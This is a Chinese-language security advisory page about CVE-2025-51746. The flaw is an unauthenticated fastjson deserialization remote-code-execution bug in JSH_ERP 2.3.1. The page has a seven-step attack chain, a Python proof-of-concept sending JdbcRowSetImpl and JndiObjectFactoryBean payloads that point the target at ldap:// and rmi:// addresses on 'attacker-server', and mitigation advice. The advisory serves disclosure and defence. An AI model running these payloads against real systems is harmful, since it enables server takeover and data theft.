IPBUF安全漏洞报告
English
CVE-2025-51746 CVSS 9.8 严重

CVE-2025-51746 | JSH_ERP fastjson反序列化远程代码执行漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-51746
漏洞类型
远程代码执行(RCE)/fastjson反序列化
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jishenghua JSH_ERP

相关标签

CVE-2025-51746fastjson反序列化远程代码执行JNDI注入无需认证JSH_ERPJSH_ERP 2.3.1高危漏洞企业资源规划系统

漏洞概述

JSH_ERP是一款由极盛华开发的企业资源规划(ERP)系统。2025年11月,安全研究人员发现JSH_ERP 2.3.1版本中存在严重的fastjson反序列化漏洞。该漏洞位于系统的/serialNumber/addSerialNumber接口,攻击者可以通过构造恶意的JSON序列化数据触发反序列化操作,从而在目标服务器上执行任意代码。由于该接口无需认证即可访问,攻击门槛极低,加上CVSS评分高达9.8(严重级别),对使用该系统的企业构成了极高的安全风险。攻击者成功利用此漏洞后可完全控制服务器,窃取敏感数据、植入后门或进一步横向移动攻击内网其他系统。此漏洞影响所有未及时修复的JSH_ERP 2.3.1版本用户,建议相关单位立即采取应急措施。

技术细节

漏洞根源在于JSH_ERP应用在处理序列号添加请求时,直接将用户输入的JSON数据传递给fastjson库进行反序列化操作,而未对输入数据进行充分的安全校验。Fastjson是一个Java语言编写的高性能JSON序列化库,其早期版本存在反序列化安全漏洞,攻击者可以利用特殊的@type字段指定任意Java类,并通过构造特定的getter/setter方法调用链来触发恶意代码执行。在/serialNumber/addSerialNumber接口中,攻击者可以发送包含恶意序列化payload的POST请求,如使用com.sun.rowset.JdbcRowSetImpl或org.apache.commons.configuration.JndiObjectFactoryBean等 Gadget链,结合JNDI注入技术,最终实现远程代码执行。典型的利用方式是通过LDAP/RMI服务加载远程恶意类,在反序列化过程中自动执行其中的恶意代码,从而在服务器上执行系统命令。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标系统使用的JSH_ERP版本,确认版本为2.3.1且存在/serialNumber/addSerialNumber接口
STEP 2
步骤2
搭建攻击环境:攻击者在自己控制的服务器上部署恶意的LDAP或RMI服务,准备好用于接收JNDI请求的Exploit类
STEP 3
步骤3
构造恶意payload:利用fastjson反序列化漏洞,构造包含@type字段和JndiObjectFactoryBean或JdbcRowSetImpl gadget的JSON数据
STEP 4
步骤4
发送攻击请求:向目标服务器的/serialNumber/addSerialNumber端点发送POST请求,包含恶意序列化payload
STEP 5
步骤5
触发反序列化:目标服务器fastjson库处理恶意JSON时,自动调用setter方法建立JNDI连接
STEP 6
步骤6
远程类加载:服务器通过LDAP/RMI协议向攻击者服务器请求恶意类,攻击者服务器返回包含恶意代码的class文件
STEP 7
步骤7
代码执行:服务器成功加载并执行恶意类中的代码,完成远程代码执行,实现对目标服务器的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-51746 PoC - JSH_ERP Fastjson Deserialization RCE # Target: JSH_ERP 2.3.1 /serialNumber/addSerialNumber endpoint target_url = "http://target-server:8080/serialNumber/addSerialNumber" # Malicious fastjson payload for RCE # Using JdbcRowSetImpl gadget chain with JNDI injection payload = { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker-server:1389/Exploit", "autoCommit": True } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Alternative payload using org.apache.commons.configuration.JndiObjectFactoryBean: # payload2 = { # "@type": "org.apache.commons.configuration.JndiObjectFactoryBean", # "initialContextFactoryName": "com.sun.jndi.rmi.registry.RegistryContextFactory", # "providerUrl": "rmi://attacker-server:1099/Exploit" # }

影响范围

jishenghua JSH_ERP 2.3.1

防御指南

临时缓解措施
立即采取临时缓解措施:1)在网络层阻断对/serialNumber/addSerialNumber接口的访问;2)如果该功能非核心业务,可临时关闭相关服务;3)添加IP白名单限制,仅允许受信任的IP地址访问系统;4)在WAF上配置规则拦截包含@type、autoType等特征的异常JSON请求;5)监控网络流量,及时发现和阻断可疑的LDAP/RMI连接请求。建议在完成升级修复前,始终保持这些临时措施的有效性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表